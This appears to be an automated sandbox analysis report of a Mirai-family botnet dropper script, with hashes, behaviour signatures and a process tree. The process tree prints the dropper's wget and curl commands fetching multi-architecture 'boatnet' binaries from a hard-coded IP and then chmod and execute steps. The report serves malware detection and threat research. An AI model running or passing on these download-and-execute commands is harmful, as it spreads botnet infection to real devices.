Analysis
-
max time kernel
148s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09-11-2024 04:14
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
25c6ba0856c61dd5b61a23fb72afbd85
-
SHA1
02bd8205bff824d323b72ccc0342c46a410f3d74
-
SHA256
5b35f387f69bcb231b7e339c9ddeb610fd73ebf848f8cefdcfb26a2faabc5c6f
-
SHA512
f1979d3997551d5cdc3a0aead3792509f2f5cb275ab303bfbb2d3d1e415dd6f882be425e352a73dd8ea27298a09001b7a14c323c3e854298736e76c1449ae8aa
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid process 1591 chmod 1607 chmod 1631 chmod 1559 chmod 1575 chmod 1659 chmod 1599 chmod 1621 chmod 1583 chmod 1543 chmod 1567 chmod 1643 chmod 1679 chmod 1535 chmod 1551 chmod -
Executes dropped EXE 15 IoCs
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFioc pid process /tmp/WTF 1536 WTF /tmp/WTF 1544 WTF /tmp/WTF 1552 WTF /tmp/WTF 1560 WTF /tmp/WTF 1568 WTF /tmp/WTF 1576 WTF /tmp/WTF 1584 WTF /tmp/WTF 1592 WTF /tmp/WTF 1600 WTF /tmp/WTF 1608 WTF /tmp/WTF 1622 WTF /tmp/WTF 1632 WTF /tmp/WTF 1644 WTF /tmp/WTF 1660 WTF /tmp/WTF 1680 WTF -
Modifies Watchdog functionality 1 TTPs 30 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFdescription ioc process File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 30 IoCs
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFdescription ioc process File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF -
Processes:
resource yara_rule /tmp/boatnet.x86 upx -
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFdescription ioc process File opened for reading /proc/1595/cmdline WTF File opened for reading /proc/666/cmdline WTF File opened for reading /proc/1157/cmdline WTF File opened for reading /proc/1162/cmdline WTF File opened for reading /proc/1569/cmdline WTF File opened for reading /proc/1262/cmdline WTF File opened for reading /proc/513/cmdline WTF File opened for reading /proc/1579/cmdline WTF File opened for reading /proc/543/cmdline WTF File opened for reading /proc/666/cmdline WTF File opened for reading /proc/1209/cmdline WTF File opened for reading /proc/1364/cmdline WTF File opened for reading /proc/462/cmdline WTF File opened for reading /proc/1153/cmdline WTF File opened for reading /proc/1116/cmdline WTF File opened for reading /proc/461/cmdline WTF File opened for reading /proc/599/cmdline WTF File opened for reading /proc/1116/cmdline WTF File opened for reading /proc/1216/cmdline WTF File opened for reading /proc/1593/cmdline WTF File opened for reading /proc/749/cmdline WTF File opened for reading /proc/1334/cmdline WTF File opened for reading /proc/1561/cmdline WTF File opened for reading /proc/1585/cmdline WTF File opened for reading /proc/1401/cmdline WTF File opened for reading /proc/1555/cmdline WTF File opened for reading /proc/729/cmdline WTF File opened for reading /proc/1079/cmdline WTF File opened for reading /proc/1498/cmdline WTF File opened for reading /proc/1045/cmdline WTF File opened for reading /proc/1089/cmdline WTF File opened for reading /proc/669/cmdline WTF File opened for reading /proc/1530/cmdline WTF File opened for reading /proc/544/cmdline WTF File opened for reading /proc/1065/cmdline WTF File opened for reading /proc/1107/cmdline WTF File opened for reading /proc/1498/cmdline WTF File opened for reading /proc/1683/cmdline WTF File opened for reading /proc/1190/cmdline WTF File opened for reading /proc/1083/cmdline WTF File opened for reading /proc/1086/cmdline WTF File opened for reading /proc/1306/cmdline WTF File opened for reading /proc/447/cmdline WTF File opened for reading /proc/463/cmdline WTF File opened for reading /proc/1571/cmdline WTF File opened for reading /proc/1035/cmdline WTF File opened for reading /proc/1280/cmdline WTF File opened for reading /proc/1065/cmdline WTF File opened for reading /proc/1190/cmdline WTF File opened for reading /proc/1364/cmdline WTF File opened for reading /proc/975/cmdline WTF File opened for reading /proc/1096/cmdline WTF File opened for reading /proc/761/cmdline WTF File opened for reading /proc/1166/cmdline WTF File opened for reading /proc/1187/cmdline WTF File opened for reading /proc/1553/cmdline WTF File opened for reading /proc/666/cmdline WTF File opened for reading /proc/980/cmdline WTF File opened for reading /proc/1547/cmdline WTF File opened for reading /proc/580/cmdline WTF File opened for reading /proc/1661/cmdline WTF File opened for reading /proc/1603/cmdline WTF File opened for reading /proc/1498/cmdline WTF File opened for reading /proc/1563/cmdline WTF -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlcurlwgetcurlcurlwgetwgetcurlwgetcurlcurlwgetwgetcurlcurlcurlcurlcurlcurlcurlwgetwgetwgetwgetohshit.shcurlwgetdescription ioc process File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1527 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1528 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1533 -
/bin/catcat boatnet.x862⤵PID:1534
-
/bin/chmodchmod +x boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1535 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1536 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1540 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1541 -
/bin/chmodchmod +x boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1543 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1544 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1548 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1549 -
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1551 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1552 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.i4682⤵PID:1556
-
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.i4682⤵
- Writes file to tmp directory
PID:1557 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1559 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1560 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.i6862⤵PID:1564
-
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.i6862⤵
- Writes file to tmp directory
PID:1565 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1567 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1568 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.x86_642⤵PID:1572
-
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:1573 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1575 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1576 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1580 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1581 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1583 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1584 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1588 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1589 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1591 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1592 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1596 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1597 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1599 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1600 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1604 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1605 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1607 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1608 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1612 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1613 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-mAhB1J systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1621 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1622 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1626 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1627 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1631 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1632 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1636 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1641 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-EdkoHW systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1643 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1644 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1648 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1651 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1659 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1660 -
/usr/bin/wgetwget http://77.221.151.63/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1664 -
/usr/bin/curlcurl -O http://77.221.151.63/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1675 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF2⤵
- File and Directory Permissions Modification
PID:1679 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1680
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5895badd48eed0c0e0ba14e8d5967e7bb
SHA13c4c22665e6197841f7e68f941a4a27dca3d4d8d
SHA256e2a04bd1fb1e7ed211e3ee19b08337b6361d695278417d5a21ba602ca7eb99b4
SHA512dfc79a34d1694b7e4422fa4861bf475b3efe2398df684126e71293880f51f4bf39f396fb5c5e36a2c12944c7406e86cac09c3d3b8c432194aab976c8b7e94af7